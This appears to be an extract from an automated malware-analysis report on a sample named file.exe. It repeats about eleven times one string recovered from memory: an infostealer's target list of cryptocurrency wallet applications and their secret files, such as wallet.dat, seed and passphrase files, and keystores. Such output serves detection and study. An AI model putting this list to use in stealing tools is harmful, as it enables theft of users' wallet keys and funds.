Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1987080237.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
